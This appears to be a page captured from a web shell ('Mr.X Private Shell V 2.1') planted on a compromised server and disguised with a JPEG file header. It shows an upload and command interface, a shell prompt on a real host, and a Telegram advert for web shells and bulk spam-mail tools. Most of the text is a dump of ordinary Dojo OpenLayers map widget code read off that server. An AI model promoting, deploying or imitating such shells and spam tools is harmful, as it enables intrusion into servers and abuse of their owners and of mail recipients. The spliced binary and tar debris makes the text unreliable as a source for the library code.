����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.217.121: ~ $
home/eliteafr/pmb/javascript/dojo/dojo/pmbmaps.js.uncompressed.js000066600000573275152210632060021243 0ustar00require({cache:{
'dojox/geo/openlayers/widget/Map':function(){
define([
	"dojo/_base/lang",
	"dojo/_base/declare",
	"dojo/_base/array",
	"dojo/dom-geometry",
	"dojo/query",
	"dijit/_Widget",
	"../_base",
	"../Map",
	"../Layer",
	"../GfxLayer"
], function(lang, declare, array, domgeo, query, Widget, openlayers, Map, Layer, GfxLayer){

	return declare("dojox.geo.openlayers.widget.Map", Widget, {
		// summary:
		//		A widget version of the `dojox.geo.openlayers.Map` component.
		// description:
		//		The `dojox.geo.openlayers.widget.Map` widget is the widget 
		//		version of the `dojox.geo.openlayers.Map` component. 
		//		With this widget, user can specify some attributes in the markup such as
		//		
		//		- `baseLayerType`: The type of the base layer. Permitted values are
		//		- `initialLocation`: The initial location as for the dojox.geo.openlayers.Map.fitTo method
		//		- `touchHandler`: Tells if we attach touch handler or not.
		//
		// example:
		//	| <div id="map" dojoType="dojox.geo.openlayers.widget.Map" baseLayerType="Google" initialLocation="{
		//	|   position: [7.154126, 43.651748],
		//	|   extent: 0.2 }"
		//	| style="background-color: #b5d0d0; width: 100%; height: 100%;">
		//

		// baseLayerType: String
		//		Base layer type as defined in `dojox.geo.openlayer.BaseLayerType`. Can be one of:
		//
		//		- `OSM`
		//		- `WMS`
		//		- `Google`
		//		- `VirtualEarth`
		//		- `Yahoo`
		//		- `ArcGIS`
		baseLayerType: openlayers.BaseLayerType.OSM,

		// initialLocation: String
		//		The part of the map shown at startup time. It is the string description of the location shown at
		//		startup time. Format is the same as for the `dojox.geo.openlayers.widget.Map.fitTo`
		//		method.
		//	|	{
		//	|		bounds: [ulx, uly, lrx, lry]
		//	|	}
		//		The map is fit on the specified bounds expressed as decimal degrees latitude and longitude.
		//		The bounds are defined with their upper left and lower right corners coordinates.
		//
		//	|	{
		//	|		position: [longitude, latitude],
		//	|		extent: degrees
		//	|	}
		//		The map is fit on the specified position showing the extent `<extent>` around
		//		the specified center position.
		initialLocation: null,

		// touchHandler: Boolean
		//		Tells if the touch handler should be attached to the map or not.
		//		Touch handler handles touch events so that the widget can be used
		//		on mobile applications.
		touchHandler: false,

		// map: [readonly] Map
		//		The underlying `dojox/geo/openlayers/Map` object.
		map : null,

		startup: function(){
			// summary:
			//		Processing after the DOM fragment is added to the document
			this.inherited(arguments);
			this.map.initialFit({
				initialLocation: this.initialLocation
			});
		},

		buildRendering: function(){
			// summary:
			//		Construct the UI for this widget, creates the real dojox.geo.openlayers.Map object.		
			// tags:
			//		protected
			this.inherited(arguments);
			var div = this.domNode;
			var map = new Map(div, {
				baseLayerType: this.baseLayerType,
				touchHandler: this.touchHandler
			});
			this.map = map;

			this._makeLayers();
		},

		_makeLayers: function(){
			// summary:
			//		Creates layers defined as markup.
			// tags:
			//		private
			var n = this.domNode;
			var layers = /* ?? query. */query("> .layer", n);
			array.forEach(layers, function(l){
				var type = l.getAttribute("type");
				var name = l.getAttribute("name");
				var cls = "dojox.geo.openlayers." + type;
				var p = lang.getObject(cls);
				if(p){
					var layer = new p(name, {});
					if(layer){
						this.map.addLayer(layer);
					}
				}
			}, this);
		},

		resize : function(b,h){
			// summary:
			//		Resize the widget.
			// description:
			//		Resize the domNode and the widget to the dimensions of a box of the following form:
			//		`{ l: 50, t: 200, w: 300: h: 150 }`
			// b: Object|Number?
			//		If passed, denotes the new size of the widget.
			//		Can be either nothing (widget adapts to the div),
			//		an Object describing a box, or a Number representing the width.
			// h: Number?
			//		The new height. Requires that a width has been specified in the first parameter.

			var olm = this.map.getOLMap();

			var box;
			switch(arguments.length){
				case 0:
					// case 0, do not resize the div, just the surface
				break;
				case 1:
					// argument, override node box
					box = lang.mixin({}, b);
					domgeo.setMarginBox(olm.div, box);
				break;
				case 2:
					// two argument, width, height
					box = {
						w: arguments[0],
						h: arguments[1]
					};
					domgeo.setMarginBox(olm.div, box);
				break;
			}
			olm.updateSize();
		}
	});
});

},
'dojox/geo/openlayers/_base':function(){
define(["dojo/_base/lang"], function(lang){
	
	var openlayers = lang.getObject("dojox.geo.openlayers", true);
	/*===== openlayers = dojox.geo.openlayers; =====*/
	
	openlayers.BaseLayerType = {
		// summary:
		//		Defines the base layer types to be used at Map construction time or
		//		with the setBaseLayerType function.
		// description:
		//		This object defines the base layer types to be used at Map construction
		//		time or with the setBaseLayerType function.

		// OSM: String
		//		The Open Street Map base layer type selector.
		OSM: "OSM",

		// Transport: String
		//		The Open Cycle Map transport layer type selector.
		Transport: "OSM.Transport",

		// WMS: String
		//		The Web Map Server base layer type selector.
		WMS: "WMS",

		// GOOGLE: String
		//		The Google base layer type selector.
		GOOGLE: "Google",

		// VIRTUAL_EARTH: String
		//		The Virtual Earth base layer type selector.
		VIRTUAL_EARTH: "VirtualEarth",

		// BING: String
		//		Same as Virtual Earth
		BING: "VirtualEarth",

		// YAHOO: String
		//		The Yahoo base layer type selector.
		YAHOO: "Yahoo",

		// ARCGIS: String
		//		The ESRI ARCGis base layer selector.
		ARCGIS: "ArcGIS"
	};

	openlayers.EPSG4326 = new OpenLayers.Projection("EPSG:4326");

	var re = /^\s*(\d{1,3})[D°]\s*(\d{1,2})[M']\s*(\d{1,2}\.?\d*)\s*(S|"|'')\s*([NSEWnsew]{0,1})\s*$/i;
	openlayers.parseDMS = function(v, toDecimal){
		// summary:
		//		Parses the specified string and returns degree minute second or decimal degree.
		// description:
		//		Parses the specified string and returns degree minute second or decimal degree.
		// v: String
		//		The string to parse
		// toDecimal: Boolean
		//		Specifies if the result should be returned in decimal degrees or in an array
		//		containing the degrees, minutes, seconds values.
		// returns: Float|Array
		//		the parsed value in decimal degrees or an array containing the degrees, minutes, seconds values.

		var res = re.exec(v);
		if(res == null || res.length < 5){
			return parseFloat(v);
		}
		var d = parseFloat(res[1]);
		var m = parseFloat(res[2]);
		var s = parseFloat(res[3]);
		var nsew = res[5];
		if(toDecimal){
			var lc = nsew.toLowerCase();
			var dd = d + (m + s / 60.0) / 60.0;
			if(lc == "w" || lc == "s"){
				dd = -dd;
			}
			return dd;
		}
		return [d, m, s, nsew];
	};
	
	return openlayers;
});

},
'dojox/geo/openlayers/Map':function(){
define([
	"dojo/_base/kernel",
	"dojo/_base/declare",
	"dojo/_base/lang",
	"dojo/_base/array",
	"dojo/_base/json",
	"dojo/dom",
	"dojo/dom-style",
	"./_base",
	"./TouchInteractionSupport",
	"./Layer",
	"./Patch"
], function(kernel, declare, lang, array, json, dom, style, openlayers, TouchInteractionSupport, Layer, Patch){

	kernel.experimental("dojox.geo.openlayers.Map");


	Patch.patchGFX();

	/*=====
	dojox.geo.openlayers.__MapArgs = {
		// summary:
		//		The keyword arguments that can be passed in a Map constructor.
		// baseLayerType: String
		//		 type of the base layer. Can be any of
		//
		//		- `dojox.geo.openlayers.BaseLayerType.OSM`: Open Street Map base layer
		//		- `dojox.geo.openlayers.BaseLayerType.Transport`: Open Street Map Transport base layer (opencyclemap.org)
		//		- `dojox.geo.openlayers.BaseLayerType.WMS`: Web Map Service layer
		//		- `dojox.geo.openlayers.BaseLayerType.GOOGLE`: Google layer
		//		- `dojox.geo.openlayers.BaseLayerType.VIRTUAL_EARTH`: Virtual Earth layer
		//		- `dojox.geo.openlayers.BaseLayerType.BING`: Bing layer
		//		- `dojox.geo.openlayers.BaseLayerType.YAHOO`: Yahoo layer
		//		- `dojox.geo.openlayers.BaseLayerType.ARCGIS`: ESRI ArgGIS layer
		// baseLayerName: String
		//		The name of the base layer.
		// baseLayerUrl: String
		//		Some layer may need an url such as Web Map Server.
		// baseLayerOptions: String
		//		Additional specific options passed to OpensLayers layer, such as The list of layer to display, for Web Map Server layer.
	};
	=====*/

	return declare("dojox.geo.openlayers.Map", null, {
		// summary:
		//		A map viewer based on the OpenLayers library.
		//
		// description:
		//		The `dojox.geo.openlayers.Map` object allows to view maps from various map providers. 
		//		It encapsulates  an `OpenLayers.Map` object on which most operations are delegated.
		//		GFX layers can be added to display GFX georeferenced shapes as well as Dojo widgets.
		//		Parameters can be passed as argument at construction time to define the base layer
		//		type and the base layer parameters such as url or options depending on the type
		//		specified. These parameters can be any of:
		//
		//		_baseLayerType_: type of the base layer. Can be any of:
		//		
		//		- `dojox.geo.openlayers.BaseLayerType.OSM`: Open Street Map base layer
		//		- `dojox.geo.openlayers.BaseLayerType.Transport`: Open Street Map Transport base layer (opencyclemap.org)
		//		- `dojox.geo.openlayers.BaseLayerType.WMS`: Web Map Service layer
		//		- `dojox.geo.openlayers.BaseLayerType.GOOGLE`: Google layer
		//		- `dojox.geo.openlayers.BaseLayerType.VIRTUAL_EARTH`: Virtual Earth layer
		//		- `dojox.geo.openlayers.BaseLayerType.BING`: Bing layer
		//		- `dojox.geo.openlayers.BaseLayerType.YAHOO`: Yahoo layer
		//		- `dojox.geo.openlayers.BaseLayerType.ARCGIS`: ESRI ArgGIS layer
		//		
		//		Note that access to commercial server such as Google, Virtual Earth or Yahoo may need specific licencing.
		//		
		//		The parameters value also include:
		//		
		//		- `baseLayerName`: The name of the base layer.
		//		- `baseLayerUrl`: Some layer may need an url such as Web Map Server
		//		- `baseLayerOptions`: Additional specific options passed to OpensLayers layer,
		//		  such as The list of layer to display, for Web Map Server layer.
		//
		// example:
		//	|	var map = new dojox.geo.openlayers.widget.Map(div, {
		//	|		baseLayerType: dojox.geo.openlayers.BaseLayerType.OSM,
		//	|		baseLayerName: 'Open Street Map Layer'
		//	|	});

		// olMap: OpenLayers.Map
		//		The underlying OpenLayers.Map object.
		//		Should be accessed on read mode only.
		olMap: null,

		_tp: null,

		constructor: function(div, options){
			// summary:
			//		Constructs a new Map object
			if(!options){
				options = {};
			}

			div = dom.byId(div);

			this._tp = {
				x: 0,
				y: 0
			};

			var opts = options.openLayersMapOptions;

			if(!opts){
				opts = {
					controls: [new OpenLayers.Control.ScaleLine({
						maxWidth: 200
					}), new OpenLayers.Control.Navigation()]
				};
			}
			if(options.accessible){
				var kbd = new OpenLayers.Control.KeyboardDefaults();
				if(!opts.controls){
					opts.controls = [];
				}
				opts.controls.push(kbd);
			}
			var baseLayerType = options.baseLayerType;
			if(!baseLayerType){
				baseLayerType = openlayers.BaseLayerType.OSM;
			}
			var map = new OpenLayers.Map(div, opts);
			this.olMap = map;

			this._layerDictionary = {
				olLayers: [],
				layers: []
			};

			if(options.touchHandler){
				this._touchControl = new TouchInteractionSupport(map);
			}

			var base = this._createBaseLayer(options);
			this.addLayer(base);

			this.initialFit(options);
		},

		initialFit: function(params){
			// summary:
			//		Performs an initial fit to contents.
			// tags:
			//		protected
			var o = params.initialLocation;
			if(!o){
				o = [-160, 70, 160, -70];
			}
			this.fitTo(o);
		},

		setBaseLayerType: function(type){
			// summary:
			//		Set the base layer type, replacing the existing base layer
			// type: dojox/geo/openlayers.BaseLayerType
			//		base layer type
			// returns:
			//		The newly created layer.
			if(type == this.baseLayerType){
				return null; // Layer
			}

			var o = null;
			if(typeof type == "string"){
				o = {
					baseLayerName: type,
					baseLayerType: type
				};
				this.baseLayerType = type;
			}else if(typeof type == "object"){
				o = type;
				this.baseLayerType = o.baseLayerType;
			}
			var bl = null;
			if(o != null){
				bl = this._createBaseLayer(o);
				if(bl != null){
					var olm = this.olMap;
					var ob = olm.getZoom();
					var oc = olm.getCenter();
					var recenter = !!oc && !!olm.baseLayer && !!olm.baseLayer.map;

					if(recenter){
						var proj = olm.getProjectionObject();
						if(proj != null){
							oc = oc.transform(proj, openlayers.EPSG4326);
						}
					}
					var old = olm.baseLayer;
					if(old != null){
						var l = this._getLayer(old);
						this.removeLayer(l);
					}
					if(bl != null){
						this.addLayer(bl);
					}
					if(recenter){
						proj = olm.getProjectionObject();
						if(proj != null){
							oc = oc.transform(openlayers.EPSG4326, proj);
						}
						olm.setCenter(oc, ob);
					}
				}
			}
			return bl;
		},

		getBaseLayerType: function(){
			// summary:
			//		Returns the base layer type.
			// returns:
			//		The current base layer type.
			return this.baseLayerType; // openlayers.BaseLayerType
		},

		getScale: function(geodesic){
			// summary:
			//		Returns the current scale
			// geodesic: Boolean
			//		Tell if geodesic calculation should be performed. If set to
			//		true, the scale will be calculated based on the horizontal size of the
			//		pixel in the center of the map viewport.
			var scale = null;
			var om = this.olMap;
			if(geodesic){
				var units = om.getUnits();
				if(!units){
					return null;	// Number
				}
				var inches = OpenLayers.INCHES_PER_UNIT;
				scale = (om.getGeodesicPixelSize().w || 0.000001) * inches["km"] * OpenLayers.DOTS_PER_INCH;
			}else{
				scale = om.getScale();
			}
			return scale;	// Number
		},

		getOLMap: function(){
			// summary:
			//		gets the underlying OpenLayers map object.
			// returns:
			//		The underlying OpenLayers map object.
			return this.olMap;	// OpenLayers.Map
		},

		_createBaseLayer: function(params){
			// summary:
			//		Creates the base layer.
			// tags:
			//		private
			var base = null;
			var type = params.baseLayerType;
			var url = params.baseLayerUrl;
			var name = params.baseLayerName;
			var options = params.baseLayerOptions;

			if(!name){
				name = type;
			}
			if(!options){
				options = {};
			}
			switch(type){
				case openlayers.BaseLayerType.OSM:
					options.transitionEffect = "resize";
					//				base = new OpenLayers.Layer.OSM(name, url, options);
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.OSM(name, url, options)
					});
				break;
				case openlayers.BaseLayerType.Transport:
					options.transitionEffect = "resize";
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.OSM.TransportMap(name, url, options)
					});
				break;
				case openlayers.BaseLayerType.WMS:
					if(!url){
						url = "http://labs.metacarta.com/wms/vmap0";
						if(!options.layers){
							options.layers = "basic";
						}
					}
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.WMS(name, url, options, {
							transitionEffect: "resize"
						})
					});
				break;
				case openlayers.BaseLayerType.GOOGLE:
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.Google(name, options)
					});
				break;
				case openlayers.BaseLayerType.VIRTUAL_EARTH:
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.VirtualEarth(name, options)
					});
				break;
				case openlayers.BaseLayerType.YAHOO:
					//				base = new OpenLayers.Layer.Yahoo(name);
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.Yahoo(name, options)
					});
				break;
				case openlayers.BaseLayerType.ARCGIS:
					if(!url){
						url = "http://server.arcgisonline.com/ArcGIS/rest/services/ESRI_StreetMap_World_2D/MapServer/export";
					}
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.ArcGIS93Rest(name, url, options, {})
					});

				break;
			}

			if(base == null){
				if(type instanceof OpenLayers.Layer){
					base = type;
				}else{
					options.transitionEffect = "resize";
					base = new Layer(name, {
						olLayer: new OpenLayers.Layer.OSM(name, url, options)
					});
					this.baseLayerType = openlayers.BaseLayerType.OSM;
				}
			}

			return base;
		},

		removeLayer: function(layer){
			// summary:
			//		Remove the specified layer from the map.
			// layer: Layer
			//		The layer to remove from the map.
			var om = this.olMap;
			var i = array.indexOf(this._layerDictionary.layers, layer);
			if(i > 0){
				this._layerDictionary.layers.splice(i, 1);
			}
			var oll = layer.olLayer;
			var j = array.indexOf(this._layerDictionary.olLayers, oll);
			if(j > 0){
				this._layerDictionary.olLayers.splice(i, j);
			}
			om.removeLayer(oll, false);
		},

		layerIndex: function(layer, index){
			// summary:
			//		Set or retrieve the layer index.
			// description:
			//		Set or get the layer index, that is the z-order of the layer.
			//		if the index parameter is provided, the layer index is set to
			//		this value. If the index parameter is not provided, the index of 
			//		the layer is returned.
			// layer: Layer
			//		the layer to retrieve the index.
			// index: int?
			//		index of the layer
			// returns:
			//		the index of the layer.
			var olm = this.olMap;
			if(!index){
				return olm.getLayerIndex(layer.olLayer);
			}
			//olm.raiseLayer(layer.olLayer, index);
			olm.setLayerIndex(layer.olLayer, index);

			this._layerDictionary.layers.sort(function(l1, l2){
				return olm.getLayerIndex(l1.olLayer) - olm.getLayerIndex(l2.olLayer);
			});
			this._layerDictionary.olLayers.sort(function(l1, l2){
				return olm.getLayerIndex(l1) - olm.getLayerIndex(l2);
			});

			return index; // Number
		},

		addLayer: function(layer){
			// summary:
			//		Add the specified layer to the map.
			// layer: Layer
			//		The layer to add to the map.
			layer.dojoMap = this;
			var om = this.olMap;
			var ol = layer.olLayer;
			this._layerDictionary.olLayers.push(ol);
			this._layerDictionary.layers.push(layer);
			om.addLayer(ol);
			layer.added();
		},

		_getLayer: function(/*OpenLayer.Layer */ol){
			// summary:
			//		Retrieve the dojox.geo.openlayer.Layer from the OpenLayer.Layer
			// tags:
			//		private
			var i = array.indexOf(this._layerDictionary.olLayers, ol);
			if(i != -1){
				return this._layerDictionary.layers[i];
			}
			return null;
		},

		getLayer: function(property, value){
			// summary:
			//		Returns the layer whose property matches the value.
			// property: String
			//		The property to check
			// value: Object
			//		The value to match
			// returns:
			//		The layer(s) matching the property's value. Since multiple layers
			//		match the property's value the return value is an array. 
			// example:
			//		var layers = map.getLayer("name", "Layer Name");
			var om = this.olMap;
			var ols = om.getBy("layers", property, value);
			var ret = new Array(); //[];
			array.forEach(ols, function(ol){
				ret.push(this._getLayer(ol));
			}, this);
			return ret; // Layer[]
		},

		getLayerCount: function(){
			// summary:
			//		Returns the count of layers of this map.
			// returns:
			//		The number of layers of this map. 
			var om = this.olMap;
			if(om.layers == null){
				return 0;
			}
			return om.layers.length; // Number
		},

		fitTo: function(o){
			// summary:
			//		Fits the map on a point,or an area
			// description:
			//		Fits the map on the point or extent specified as parameter. 
			// o: Object
			//		Object with key values fit parameters or a JSON string.
			// example:
			//		Examples of arguments passed to the fitTo function:
			//	|	null
			//		The map is fit on full extent
			//
			//	|	{
			//	|		bounds: [ulx, uly, lrx, lry]
			//	|	}
			//		The map is fit on the specified bounds expressed as decimal degrees latitude and longitude.
			//		The bounds are defined with their upper left and lower right corners coordinates.
			// 
			//	|	{
			//	|		position: [longitude, latitude],
			//	|		extent: degrees
			//	|	}
			//		The map is fit on the specified position showing the extent `<extent>` around
			//		the specified center position.

			var map = this.olMap;
			var from = openlayers.EPSG4326;

			if(o == null){
				var c = this.transformXY(0, 0, from);
				map.setCenter(new OpenLayers.LonLat(c.x, c.y));
				return;
			}
			var b = null;
			if(typeof o == "string"){
				var j = json.fromJson(o);
			}else{
				j = o;
			}
			var ul;
			var lr;
			if(j.hasOwnProperty("bounds")){
				var a = j.bounds;
				b = new OpenLayers.Bounds();
				ul = this.transformXY(a[0], a[1], from);
				b.left = ul.x;
				b.top = ul.y;
				lr = this.transformXY(a[2], a[3], from);
				b.right = lr.x;
				b.bottom = lr.y;
			}
			if(b == null){
				if(j.hasOwnProperty("position")){
					var p = j.position;
					var e = j.hasOwnProperty("extent") ? j.extent : 1;
					if(typeof e == "string"){
						e = parseFloat(e);
					}
					b = new OpenLayers.Bounds();
					ul = this.transformXY(p[0] - e, p[1] + e, from);
					b.left = ul.x;
					b.top = ul.y;
					lr = this.transformXY(p[0] + e, p[1] - e, from);
					b.right = lr.x;
					b.bottom = lr.y;
				}
			}
			if(b == null){
				if(o.length == 4){
					b = new OpenLayers.Bounds();
					// TODO Choose the correct method
					if(false){
						b.left = o[0];
						b.top = o[1];

						b.right = o[2];
						b.bottom = o[3];
					}else{
						ul = this.transformXY(o[0], o[1], from);
						b.left = ul.x;
						b.top = ul.y;
						lr = this.transformXY(o[2], o[3], from);
						b.right = lr.x;
						b.bottom = lr.y;
					}
				}
			}
			if(b != null){
				map.zoomToExtent(b, true);
			}
		},

		transform: function(p, from, to){
			// summary:
			//		Transforms the point passed as argument, expressed in the <em>from</em> 
			//		coordinate system to the map coordinate system.
			// description:
			//		Transforms the point passed as argument without modifying it. The point is supposed to be expressed
			//		in the <em>from</em> coordinate system and is transformed to the map coordinate system.
			// p: Object {x, y}
			//		The point to transform
			// from: OpenLayers.Projection
			//		The projection in which the point is expressed.
			return this.transformXY(p.x, p.y, from, to);
		},

		transformXY: function(x, y, from, to){
			// summary:
			//		Transforms the coordinates passed as argument, expressed in the <em>from</em> 
			//		coordinate system to the map coordinate system.
			// description:
			//		Transforms the coordinates passed as argument. The coordinate are supposed to be expressed
			//		in the <em>from</em> coordinate system and are transformed to the map coordinate system.
			// x: Number
			//		The longitude coordinate to transform.
			// y: Number
			//		The latitude coordinate to transform.
			// from: OpenLayers.Projection?
			//		The projection in which the point is expressed, or EPSG4326 is not specified.
			// to: OpenLayers.Projection?
			//		The projection in which the point is converted to. In not specifed, the map projection is used.
			// returns:
			//		The transformed coordinate as an {x,y} Object.

			var tp = this._tp;
			tp.x = x;
			tp.y = y;
			if(!from){
				from = openlayers.EPSG4326;
			}
			if(!to){
				to = this.olMap.getProjectionObject();
			}
			tp = OpenLayers.Projection.transform(tp, from, to);
			return tp; // Object
		}

	});

});

},
'dojox/geo/openlayers/TouchInteractionSupport':function(){
define([
	"dojo/_base/declare",
	"dojo/_base/connect",
	"dojo/_base/html",
	"dojo/_base/lang",
	"dojo/_base/event",
	"dojo/_base/window"
], function(declare, connect, html, lang, event, win){

	return declare("dojox.geo.openlayers.TouchInteractionSupport", null, {
		// summary:
		//		class to handle touch interactions on a OpenLayers.Map widget
		// tags:
		//		private

		_map: null,
		_centerTouchLocation: null,
		_touchMoveListener: null,
		_touchEndListener: null,
		_initialFingerSpacing: null,
		_initialScale: null,
		_tapCount: null,
		_tapThreshold: null,
		_lastTap: null,

		constructor: function(map){
			// summary:
			//		Constructs a new TouchInteractionSupport instance
			// map: OpenLayers.Map
			//		the Map widget this class provides touch navigation for.
			this._map = map;
			this._centerTouchLocation = new OpenLayers.LonLat(0, 0);

			var div = this._map.div;

			// install touch listeners
			connect.connect(div, "touchstart", this, this._touchStartHandler);
			connect.connect(div, "touchmove", this, this._touchMoveHandler);
			connect.connect(div, "touchend", this, this._touchEndHandler);

			this._tapCount = 0;
			this._lastTap = {
				x: 0,
				y: 0
			};
			this._tapThreshold = 100; // square distance in pixels

		},

		_getTouchBarycenter: function(touchEvent){
			// summary:
			//		returns the midpoint of the two first fingers (or the first finger location if only one)
			// touchEvent: TouchEvent
			//		a touch event
			// returns:
			//		the midpoint as an {x,y} object.
			// tags:
			//		private
			var touches = touchEvent.touches;
			var firstTouch = touches[0];
			var secondTouch = null;
			if(touches.length > 1){
				secondTouch = touches[1];
			}else{
				secondTouch = touches[0];
			}

			var marginBox = html.marginBox(this._map.div);

			var middleX = (firstTouch.pageX + secondTouch.pageX) / 2.0 - marginBox.l;
			var middleY = (firstTouch.pageY + secondTouch.pageY) / 2.0 - marginBox.t;

			return {
				x: middleX,
				y: middleY
			}; // Object

		},

		_getFingerSpacing: function(touchEvent){
			// summary:
			//		computes the distance between the first two fingers
			// touchEvent: Event
			//		a touch event
			// returns: float
			//		a distance. -1 if less that 2 fingers
			// tags:
			//		private
			var touches = touchEvent.touches;
			var spacing = -1;
			if(touches.length >= 2){
				var dx = (touches[1].pageX - touches[0].pageX);
				var dy = (touches[1].pageY - touches[0].pageY);
				spacing = Math.sqrt(dx * dx + dy * dy);
			}
			return spacing;
		},

		_isDoubleTap: function(touchEvent){
			// summary:
			//		checks whether the specified touchStart event is a double tap 
			//		(i.e. follows closely a previous touchStart at approximately the same location)
			// touchEvent: TouchEvent
			//		a touch event
			// returns: boolean
			//		true if this event is considered a double tap
			// tags:
			//		private
			var isDoubleTap = false;
			var touches = touchEvent.touches;
			if((this._tapCount > 0) && touches.length == 1){
				// test distance from last tap
				var dx = (touches[0].pageX - this._lastTap.x);
				var dy = (touches[0].pageY - this._lastTap.y);
				var distance = dx * dx + dy * dy;
				if(distance < this._tapThreshold){
					isDoubleTap = true;
				}else{
					this._tapCount = 0;
				}
			}
			this._tapCount++;
			this._lastTap.x = touches[0].pageX;
			this._lastTap.y = touches[0].pageY;
			setTimeout(lang.hitch(this, function(){
				this._tapCount = 0;
			}), 300);

			return isDoubleTap;
		},

		_doubleTapHandler: function(touchEvent){
			// summary:
			//		action performed on the map when a double tap was triggered 
			// touchEvent: TouchEvent
			//		a touch event
			// tags:
			//		private

			// perform a basic 2x zoom on touch
			var touches = touchEvent.touches;
			var marginBox = html.marginBox(this._map.div);
			var offX = touches[0].pageX - marginBox.l;
			var offY = touches[0].pageY - marginBox.t;
			// clicked map point before zooming
			var mapPoint = this._map.getLonLatFromPixel(new OpenLayers.Pixel(offX, offY));
			// zoom increment power
			this._map.setCenter(new OpenLayers.LonLat(mapPoint.lon, mapPoint.lat), this._map.getZoom() + 1);
		},

		_touchStartHandler: function(touchEvent){
			// summary:
			//		action performed on the map when a touch start was triggered 
			// touchEvent: Event
			//		a touch event
			// tags:
			//		private
			event.stop(touchEvent);

			// test double tap
			if(this._isDoubleTap(touchEvent)){
				this._doubleTapHandler(touchEvent);
				return;
			}

			// compute map midpoint between fingers		
			var middlePoint = this._getTouchBarycenter(touchEvent);

			this._centerTouchLocation = this._map.getLonLatFromPixel(new OpenLayers.Pixel(middlePoint.x, middlePoint.y));

			// store initial finger spacing to compute zoom later
			this._initialFingerSpacing = this._getFingerSpacing(touchEvent);

			// store initial map scale
			this._initialScale = this._map.getScale();

			// install touch move and up listeners (if not done by other fingers before)
			if(!this._touchMoveListener){
				this._touchMoveListener = connect.connect(win.global, "touchmove", this, this._touchMoveHandler);
			}
			if(!this._touchEndListener){
				this._touchEndListener = connect.connect(win.global, "touchend", this, this._touchEndHandler);
			}
		},

		_touchEndHandler: function(touchEvent){
			// summary:
			//		action performed on the map when a touch end was triggered 
			// touchEvent: Event
			//		a touch event
			// tags:
			//		private
			event.stop(touchEvent);

			var touches = touchEvent.touches;

			if(touches.length == 0){
				// disconnect listeners only when all fingers are up
				if(this._touchMoveListener){
					connect.disconnect(this._touchMoveListener);
					this._touchMoveListener = null;
				}
				if(this._touchEndListener){
					connect.disconnect(this._touchEndListener);
					this._touchEndListener = null;
				}
			}else{
				// recompute touch center
				var middlePoint = this._getTouchBarycenter(touchEvent);

				this._centerTouchLocation = this._map.getLonLatFromPixel(new OpenLayers.Pixel(middlePoint.x, middlePoint.y));
			}
		},

		_touchMoveHandler: function(touchEvent){
			// summary:
			//		action performed on the map when a touch move was triggered 
			// touchEvent: Event
			//		a touch event
			// tags:
			//		private

			// prevent browser interaction
			event.stop(touchEvent);

			var middlePoint = this._getTouchBarycenter(touchEvent);

			// compute map offset
			var mapPoint = this._map.getLonLatFromPixel(new OpenLayers.Pixel(middlePoint.x, middlePoint.y));
			var mapOffsetLon = mapPoint.lon - this._centerTouchLocation.lon;
			var mapOffsetLat = mapPoint.lat - this._centerTouchLocation.lat;

			// compute scale factor
			var scaleFactor = 1;
			var touches = touchEvent.touches;
			if(touches.length >= 2){
				var fingerSpacing = this._getFingerSpacing(touchEvent);
				scaleFactor = fingerSpacing / this._initialFingerSpacing;
				// weird openlayer bug: setting several times the same scale value lead to visual zoom...
				this._map.zoomToScale(this._initialScale / scaleFactor);
			}

			// adjust map center on barycenter
			var currentMapCenter = this._map.getCenter();
			this._map.setCenter(new OpenLayers.LonLat(currentMapCenter.lon - mapOffsetLon, currentMapCenter.lat
																																											- mapOffsetLat));

		}
	});
});

},
'dojox/geo/openlayers/Layer':function(){
define([
	"dojo/_base/declare", 
	"dojo/_base/lang", 
	"dojo/_base/array", 
	"dojo/_base/sniff",
	"./Feature"
], function(declare, lang, array, sniff, Feature){

		return declare("dojox.geo.openlayers.Layer", null, {
			// summary:
			//		Base layer class for dojox.geo.openlayers.Map specific layers extending OpenLayers.Layer class.
			//		This layer class accepts Features which encapsulates graphic objects to be added to the map.
			//		This layer class encapsulates an OpenLayers.Layer.
			//		This class provides Feature management such as add, remove and feature access.
			constructor: function(name, options){
				// summary:
				//		Constructs a new Layer.
				// name: String
				//		The name of the layer.
				// options: Object
				//		Options passed to the underlying OpenLayers.Layer object.

				var ol = options ? options.olLayer : null;

				if(!ol){
					ol = lang.delegate(new OpenLayers.Layer(name, options));
				}

				this.olLayer = ol;
				this._features = null;
				this.olLayer.events.register("moveend", this, lang.hitch(this, this.moveTo));
			},

			renderFeature: function(/* Feature */f){
				// summary:
				//		Called when rendering a feature is necessary.
				// f: Feature
				//		The feature to draw.
				f.render();
			},

			getDojoMap: function(){
				return this.dojoMap;
			},

			addFeature: function(f){
				// summary:
				//		Add a feature or an array of features to the layer.
				// f: Feature|Feature[]
				//		The Feature or array of features to add.
				if(lang.isArray(f)){
					array.forEach(f, function(item){
						this.addFeature(item);
					}, this);
					return;
				}
				if(this._features == null){
					this._features = [];
				}
				this._features.push(f);
				f._setLayer(this);
			},

			removeFeature: function(f){
				// summary:
				//		Removes a feature or an array of features from the layer.
				// f: Feature|Feature[]
				//		The Feature or array of features to remove.
				var ft = this._features;
				if(ft == null){
					return;
				}
				if(f instanceof Array){
					f = f.slice(0);
					array.forEach(f, function(item){
						this.removeFeature(item);
					}, this);
					return;
				}
				var i = array.indexOf(ft, f);
				if(i != -1){
					ft.splice(i, 1);
				}
				f._setLayer(null);
				f.remove();
			},

			removeFeatureAt: function(index){
